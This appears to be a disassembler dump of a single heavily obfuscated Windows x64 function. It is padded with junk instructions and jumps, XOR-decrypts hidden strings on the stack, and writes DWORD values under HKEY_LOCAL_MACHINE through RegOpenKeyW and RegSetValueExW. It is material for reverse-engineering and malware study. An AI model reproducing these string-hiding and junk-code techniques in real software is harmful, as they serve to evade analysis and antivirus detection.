Function at 0x1403fc265
Capabilities:
Set registry value

Disassembly:
push r15
push r14
bt r14d, 0x18
push r13
xchg r13, rax
btr r15d, 0x1e
push r12
push rsi
push rdi
xor r15, 0x239e4809
push rbp
cbw
cmc
push rbx
and bpl, 0xd0
sub rsp, 0x2f8
setb bh
not r13w
movabs rax, 0xe009ec3224c8fd6e
mov r14b, r9b
bswap rdi
movzx r13w, sil
mov qword [rsp + 0x2e0], rax
movsx r15d, r12w
mov qword [rsp + 0x40], rax
not r13w
mov bpl, r10b
mov r15, 0x3dba0ad1
movabs rax, 0x2204bcb80ebea5a3
mov qword [rsp + 0x2d8], rax
mov sil, 0x58
mov qword [rsp + 0x48], rax
cmovl rax, rbx
bswap si
movabs rax, 0xfbc9f38de01f2fa2
movzx r13w, r10b
movsxd rsi, r9d
mov di, 0x4a22
mov qword [rsp + 0x2d0], rax
jmp 0x1403fc318
mov qword [rsp + 0x50], rax
movzx rbx, r15w
movabs rax, 0x17a75ff95317a686
movzx r12w, dl
cmovb esi, r8d
mov qword [rsp + 0x2c8], rax
xchg r12b, r15b
mov qword [rsp + 0x58], rax
movabs rax, 0xfd99d5578f55fa6f
movzx r14w, r11b
mov qword [rsp + 0x2c0], rax
bswap r14w
movzx r12w, r9b
mov rbp, r14
mov qword [rsp + 0x60], rax
movsx ebp, ax
mov bpl, dl
lahf
movabs rax, 0x4b3964fdcd447246
movsx r15d, r14w
jmp 0x1403fc389
mov qword [rsp + 0x2b8], rax
movzx r14, r14w
mov r12w, bx
mov qword [rsp + 0x68], rax
movabs rax, 0xee88324679eb2227
sete dil
movsx bp, r14b
movzx si, r10b
mov qword [rsp + 0x2b0], rax
jmp 0x1403fc3c6
mov qword [rsp + 0x70], rax
movzx r15w, r8b
setne r13b
movzx r12, sp
movabs rax, 0x6d7346ad6d4ffefa
jmp 0x1403fc3ef
mov qword [rsp + 0x2a8], rax
setnp sil
mov qword [rsp + 0x78], rax
movabs rax, 0xd093683aef376a76
movzx r15w, bpl
mov qword [rsp + 0x2a0], rax
mov r12b, r13b
jmp 0x1403fc41f
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
mov qword [rsp + 0x298], rax
movsx r14, sp
mov qword [rsp + 0x88], rax
movabs rax, 0x33e730243394033e
mov qword [rsp + 0x290], rax
movsx rbx, ax
mov qword [rsp + 0x90], rax
movabs rax, 0xe7e3977e114e6703
movzx r15d, bp
cmovo r14, r10
movsx ebp, si
mov qword [rsp + 0x288], rax
movsx r12d, ax
movzx bx, al
movsxd r12, r14d
mov qword [rsp + 0x98], rax
movzx r13d, r13w
movsx edi, r12w
movabs rax, 0xb0b65ec58a603c8
mov qword [rsp + 0x280], rax
cmova di, r14w
bswap bx
mov qword [rsp + 0xa0], rax
cmovns r13w, r9w
movabs rax, 0x6708be65ca8156d7
movsxd r14, r10d
jmp 0x1403fc4d4
mov qword [rsp + 0x278], rax
movzx r12, r13w
mov qword [rsp + 0xa8], rax
movsx r14d, r14w
movzx ax, r12b
movzx eax, r11w
movabs rax, 0x46a7044da5524090
movzx di, sil
mov qword [rsp + 0x270], rax
movzx r14d, si
mov qword [rsp + 0xb0], rax
cwde
jmp 0x1403fc51f
movabs rax, 0x4b8cb541ca050f46
bswap r14w
cmovg si, r11w
mov qword [rsp + 0x268], rax
setb r12b
jmp 0x1403fc546
mov qword [rsp + 0xb8], rax
movabs rax, 0xe627ab41184af921
not di
mov qword [rsp + 0x260], rax
movsx r12w, bl
movzx r15w, bl
mov qword [rsp + 0xc0], rax
setne r13b
movzx bx, r15b
jmp 0x1403fc583
movabs rax, 0x34c77b6e31b9a
movsx di, cl
cmovo si, si
mov qword [rsp + 0x258], rax
mov rbx, r15
xchg r13b, r14b
mov qword [rsp + 0xc8], rax
not dil
mov r13d, r8d
bswap ax
movabs rax, 0xd8cf4ec0049852bb
mov qword [rsp + 0xd0], rax
cbw
sete r12b
movabs rax, 0xa5eac9844f8ea419
not bx
xchg bl, bl
bswap r15w
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x30], 0
bswap eax
jmp 0x1403fc5fb
mov dword [rsp + 0x3c], 0
not r15b
movsx di, r13b
jmp 0x1403fc610
movabs rbp, 0x2eb490333e21dae3
mov qword [rsp + 0xe0], rbp
movabs r14, 0x28903e48668cb956
movzx r15d, bx
movsx r12, r10w
mov qword [rsp + 0xe8], r14
movabs r15, 0xe05dec612491fd3d
jmp 0x1403fc650
mov qword [rsp + 0x100], r15
movabs r12, 0x2247bce40ef3a5e6
movzx di, dil
cbw
mov qword [rsp + 0x108], r12
cbw
movabs rsi, 0xfbacf3ffe06d2fd7
mov qword [rsp + 0x110], rsi
movzx ax, r13b
not dil
jmp 0x1403fc692
movabs rdi, 0x17c85fba5363a6e8
lahf
mov qword [rsp + 0x118], rdi
movabs rax, 0xfdf6d5258f21fa01
movzx ebx, r9w
jmp 0x1403fc6bc
mov qword [rsp + 0x120], rax
movzx rbx, dx
mov bl, spl
mov rbx, rax
movzx ax, bpl
cdqe
movsx ax, bh
movabs rax, 0x4b4d6498cd17722a
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x128], rax
cbw
movabs rax, 0xeefa322379b8227b
movsx r13w, r12b
not r13
jmp 0x1403fc70c
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x130], rax
cdqe
mov ax, 0x56c1
movabs rax, 0x6d1646ce6d26fe8c
movsx r13d, bp
movsxd r13, r8d
jmp 0x1403fc738
mov qword [rsp + 0x248], rax
setae r13b
movsxd r13, r9d
not r13d
mov qword [rsp + 0x138], rax
nop
movzx eax, dx
movabs rax, 0xd0fb6869ef6b6a05
mov qword [rsp + 0x240], rax
xchg r13w, r13w
movsx r13, r9w
mov qword [rsp + 0x140], rax
movabs rax, 0xa86b938cd3598c0e
movsx r13, r14w
cmovnp r13, rax
mov qword [rsp + 0x238], rax
movzx r13d, r9w
mov qword [rsp + 0x148], rax
xchg r13b, al
movsx eax, dx
movabs rax, 0x3382304733f7037f
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x150], rax
movabs rax, 0xe7b39722113d6770
xchg r13w, r13w
movzx r13, r9w
not r13b
mov qword [rsp + 0x228], rax
setbe r13b
movsx r13w, r9b
movzx r13w, dil
mov qword [rsp + 0x158], rax
movzx r13, cx
not ah
jmp 0x1403fc7fd
movabs rax, 0xb66658d58d403a9
mov r13b, r8b
movsx r13w, dl
mov qword [rsp + 0x220], rax
movsx r13d, r13w
movsx r13w, sil
mov qword [rsp + 0x160], rax
mov rax, r9
movabs rax, 0x677abe00caf556b2
mov r13b, r13b
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x168], rax
mov r13, 0x37761600
movabs rax, 0x46ce040ba50e40e3
xchg r13b, r13b
mov r13w, 0x77bd
mov qword [rsp + 0x210], rax
mov r13, r12
movsxd r13, edx
bswap r13d
mov qword [rsp + 0x170], rax
movzx r13d, r14w
cmovge eax, r13d
lahf
movabs rax, 0x4bedb536ca600f34
movzx r13w, al
mov qword [rsp + 0x208], rax
cmovae r13w, dx
mov qword [rsp + 0x178], rax
cwde
bswap ax
movabs rax, 0xe648ab111826f94d
movzx r13w, bpl
movsxd r13, r11d
setno r13b
mov qword [rsp + 0x200], rax
movsxd r13, r11d
movsx r13d, si
cmovns r13, r10
mov qword [rsp + 0x180], rax
movabs rax, 0x7a4c14b68a1bf6
movzx r13, r11w
movzx r13d, r13w
movsx r13, dx
mov qword [rsp + 0x1f8], rax
cmovo r13w, r8w
mov qword [rsp + 0x188], rax
movzx r13, r13w
cbw
movabs rax, 0xd8a24eaf04dc52e7
mov r13w, r9w
xchg r13b, r13b
mov qword [rsp + 0x1f0], rax
xchg r13b, r13b
mov qword [rsp + 0x190], rax
movzx rax, cx
movabs rax, 0xa5bac9ea4fe7a478
mov qword [rsp + 0x1e8], rax
jmp 0x1403fc950
mov qword [rsp + 0x198], rax
movsx r13w, r11b
setge r13b
not r13b
movabs rax, 0x2edd90553e4eda91
movsxd r13, ecx
movzx r13w, r8b
setl r13b
mov qword [rsp + 0x1e0], rax
movsx r13, r10w
mov qword [rsp + 0x1a0], rax
setl al
lahf
cdqe
movabs rax, 0x28903e4866e9b93a
sets r13b
bswap r13w
mov qword [rsp + 0x1d8], rax
movzx r13w, bl
movsx r13w, sil
mov qword [rsp + 0x1a8], rax
mov r13b, sil
lea r13, [rsp + 0x100]
movsx rax, r8w
mov rax, r13
jmp 0x1403fc9d7
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fc9e1
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403fca01
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403fca14
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fca2a
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fca3b
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fca48
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403fca59
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fca66
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fca77
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fca84
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fca95
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fcab9
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fcacd
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fcada
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
cmovb cx, cx
movsx edx, r14w
not ch
lea rdx, [rsp + 0x40]
movsx r8, di
movzx r8, r10w
lea r8, [rsp + 0x30]
movsx ecx, dx
mov rcx, 0xffffffff80000002
jmp 0x1403fcb14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403fcb29
mov qword [rsp + 0x1d0], rax
jmp 0x1403fcb36
mov qword [rsp + 0x40], rax
not eax
cwde
movabs rax, 0x222ebca20e96a58a
mov qword [rsp + 0x1c8], rax
jmp 0x1403fcb55
mov qword [rsp + 0x48], rax
movzx rax, r11w
cmova eax, esi
cbw
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403fcb72
mov qword [rsp + 0x2e8], rax
jmp 0x1403fcb7f
mov qword [rsp + 0x50], rax
not ax
xchg ah, ah
movabs rax, 0x17c85fba530fa684
jmp 0x1403fcb98
mov qword [rsp + 0x1c0], rax
jmp 0x1403fcba5
mov qword [rsp + 0x58], rax
cmovne ax, r10w
mov qword [rsp + 0x100], r15
bswap eax
cbw
cdqe
mov qword [rsp + 0x108], r12
lahf
cbw
mov qword [rsp + 0x110], rsi
movzx ax, r10b
mov qword [rsp + 0x118], rdi
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fcbea
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fcbf7
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fcc01
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
cmp r13b, r13b
mov qword [rsp + 0x20], rax
shrd r9d, r15d, 0xd1
and r9, 0x10a74d04
mov dword [rsp + 0x28], 4
movsx rdx, r8w
lea rdx, [rsp + 0x40]
bsf r9d, r11d
clc
ror r9b, cl
xor r8d, r8d
mov r9b, sil
movzx r9w, cl
mov r9d, 4
jmp 0x1403fcc57
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fcc67
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fcc7a
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fcc8c
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fcc9e
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
movsx eax, r15w
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fccc1
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
cwde
cdqe
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fcce3
mov qword [rsp + 0x70], rax
jmp 0x1403fccf5
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fcd02
mov qword [rsp + 0x78], rax
bswap eax
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fcd16
mov qword [rsp + 0x80], rax
nop
mov rax, qword [rsp + 0x298]
jmp 0x1403fcd2d
mov qword [rsp + 0x88], rax
mov ax, r11w
mov rax, qword [rsp + 0x290]
jmp 0x1403fcd46
mov qword [rsp + 0x90], rax
mov al, 0x77
mov rax, qword [rsp + 0x288]
jmp 0x1403fcd5d
mov qword [rsp + 0x98], rax
movsxd rax, ebp
mov ax, 0x70b6
cdqe
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
mov ax, dx
movsx eax, r12w
movzx rax, bp
mov rax, qword [rsp + 0x278]
jmp 0x1403fcd96
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x1403fcdab
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xb8], rax
setp al
not rax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
lahf
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
movsxd rax, r12d
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403fcdfc
mov qword [rsp + 0xd0], rax
setg ah
not ah
cwde
movabs rax, 0xa5eac9894f8ea414
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rbp
movsx ax, r15b
cdqe
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0x100], r15
bswap rax
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
movsx ebp, r15w
movsx r14, r15w
bswap rax
mov qword [rsp + 0x118], rdi
cmovs r14d, r11d
movzx ebp, cx
xchg r14b, al
mov rbp, rbx
movzx r14w, r12b
mov qword [rsp + 0x120], rbx
mov ax, 0x3729
mov r14, qword [rsp + 0x2f0]
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
jmp 0x1403fce9c
mov qword [rsp + 0x130], rax
movzx eax, r8w
cbw
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x138], rax
xchg ah, ah
mov eax, 0x836094c
cmovl ax, di
mov rax, qword [rsp + 0x240]
jmp 0x1403fced2
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x238]
jmp 0x1403fcee7
mov qword [rsp + 0x148], rax
movzx rax, r11w
movsx eax, di
nop
mov rax, qword [rsp + 0x230]
jmp 0x1403fcf05
mov qword [rsp + 0x150], rax
bswap ax
setno ah
mov rax, qword [rsp + 0x228]
jmp 0x1403fcf20
mov qword [rsp + 0x158], rax
movsx rax, ax
mov rax, qword [rsp + 0x220]
jmp 0x1403fcf39
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
jmp 0x1403fcf4e
mov qword [rsp + 0x168], rax
movzx rax, r10w
mov rax, qword [rsp + 0x210]
jmp 0x1403fcf67
mov qword [rsp + 0x170], rax
cdqe
movsx eax, dx
mov rax, qword [rsp + 0x208]
jmp 0x1403fcf81
mov qword [rsp + 0x178], rax
xchg al, ah
movsx rax, bx
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x180], rax
movzx eax, si
mov rax, qword [rsp + 0x1f8]
jmp 0x1403fcfaf
mov qword [rsp + 0x188], rax
nop
mov rax, qword [rsp + 0x1f0]
jmp 0x1403fcfc6
mov qword [rsp + 0x190], rax
cwde
mov rax, qword [rsp + 0x1e8]
jmp 0x1403fcfdc
mov qword [rsp + 0x198], rax
movsxd rax, r12d
movsx ax, r10b
seto al
mov rax, qword [rsp + 0x1e0]
jmp 0x1403fcffc
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
jmp 0x1403fd011
mov qword [rsp + 0x1a8], rax
not ah
cdqe
mov rax, r13
jmp 0x1403fd025
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403fd039
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403fd046
movaps xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1403fd059
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403fd067
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403fd075
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fd096
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403fd0a7
movaps xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fd0d4
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fd0e1
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fd0f5
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fd102
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fd116
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fd123
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
movzx rcx, bp
movzx r8d, bx
cmovle r8d, r15d
mov rcx, 0xffffffff80000002
setl r8b
not r8w
lea r8, [rsp + 0x30]
jmp 0x1403fd15c
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x48], rax
jmp 0x1403fd181
mov rbx, qword [rsp + 0x2e8]
movsx rax, r15w
movsx eax, r12w
cdqe
mov qword [rsp + 0x50], rbx
mov rax, 0xf8c0e19
cwde
mov rax, qword [rsp + 0x1c0]
jmp 0x1403fd1ad
mov qword [rsp + 0x58], rax
lahf
movsx eax, bp
mov qword [rsp + 0x100], r15
movzx eax, bp
mov qword [rsp + 0x108], r12
jmp 0x1403fd1d0
mov qword [rsp + 0x110], rsi
cbw
cmovle eax, r14d
jmp 0x1403fd1e3
mov qword [rsp + 0x118], rdi
mov rax, r13
jmp 0x1403fd1f3
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fd1fd
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fd20a
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fd214
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
test r14b, sil
btr ax, r8w
mov rcx, qword [rsp + 0x30]
inc al
jmp 0x1403fd231
lea rax, [rsp + 0x3c]
xadd r9b, r9b
mov qword [rsp + 0x20], rax
sub dh, 0x2e
xor rdx, rbx
ror r9b, cl
mov dword [rsp + 0x28], 4
neg dl
ror r9d, 0x4c
shr rdx, cl
lea rdx, [rsp + 0x40]
jmp 0x1403fd26d
sub r8d, r8d
xchg r9w, r9w
movsx r9d, di
movsx r9w, dl
mov r9d, 4
jmp 0x1403fd288
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fd298
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fd2ab
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fd2bd
mov qword [rsp + 0x48], rax
cwde
movsxd rax, ecx
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
mov eax, r9d
cwde
jmp 0x1403fd2dc
mov rax, qword [rsp + 0x2c8]
jmp 0x1403fd2e9
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fd2fb
mov qword [rsp + 0x60], rax
xchg ah, ah
movzx eax, cx
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
movsx rax, r14w
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fd323
mov qword [rsp + 0x70], rax
mov al, 3
movzx eax, r13w
mov ax, di
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fd33e
mov qword [rsp + 0x78], rax
movzx ax, r11b
jmp 0x1403fd351
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fd35e
mov qword [rsp + 0x80], rax
movzx ax, r10b
xchg al, al
movsxd rax, r8d
mov rax, qword [rsp + 0x298]
jmp 0x1403fd37d
mov qword [rsp + 0x88], rax
cwde
movsx ax, sil
mov rax, qword [rsp + 0x290]
jmp 0x1403fd398
mov qword [rsp + 0x90], rax
cwde
not rax
movzx rax, cx
mov rax, qword [rsp + 0x288]
jmp 0x1403fd3b5
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
jmp 0x1403fd3ca
mov qword [rsp + 0xa0], rax
setp al
jmp 0x1403fd3da
mov rax, qword [rsp + 0x278]
jmp 0x1403fd3e7
mov qword [rsp + 0xa8], rax
nop
mov rax, qword [rsp + 0x270]
jmp 0x1403fd3fd
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xb8], rax
setno ah
cwde
mov rax, qword [rsp + 0x260]
jmp 0x1403fd426
mov qword [rsp + 0xc0], rax
movzx rax, bp
mov ax, 0x3f6e
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
movsx rax, bp
nop
bswap rax
movabs rax, 0xd8c34edb048f52bb
mov qword [rsp + 0xd0], rax
cwde
movzx rax, r10w
movabs rax, 0xa5c8c98b4f83a416
jmp 0x1403fd474
mov qword [rsp + 0xd8], rax
mov eax, r11d
lahf
movabs rax, 0x2eb290273e1edaf5
jmp 0x1403fd48f
mov qword [rsp + 0xe0], rax
movabs rax, 0x28f53e246680b95c
jmp 0x1403fd4a6
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x100], r15
bswap eax
mov qword [rsp + 0x108], r12
cmovno ax, r13w
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
movsxd rax, ecx
mov qword [rsp + 0x120], rbp
lahf
mov qword [rsp + 0x128], r14
lahf
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
jmp 0x1403fd507
mov qword [rsp + 0x138], rax
movzx eax, ax
movzx ax, bpl
mov al, r9b
mov rax, qword [rsp + 0x240]
jmp 0x1403fd527
mov qword [rsp + 0x140], rax
movsx eax, r9w
cmovo rax, rax
movzx eax, r9w
mov rax, qword [rsp + 0x238]
jmp 0x1403fd548
mov qword [rsp + 0x148], rax
movsx ax, bl
cwde
movsxd rax, r11d
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
not rax
mov rax, qword [rsp + 0x228]
jmp 0x1403fd578
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x220]
jmp 0x1403fd58d
mov qword [rsp + 0x160], rax
mov ah, 0x10
bswap eax
mov rax, qword [rsp + 0x218]
jmp 0x1403fd5a7
mov qword [rsp + 0x168], rax
cbw
cdqe
movzx ax, r15b
mov rax, qword [rsp + 0x210]
jmp 0x1403fd5c5
mov qword [rsp + 0x170], rax
xchg al, ah
movzx rax, r12w
movsx eax, cx
mov rax, qword [rsp + 0x208]
jmp 0x1403fd5e3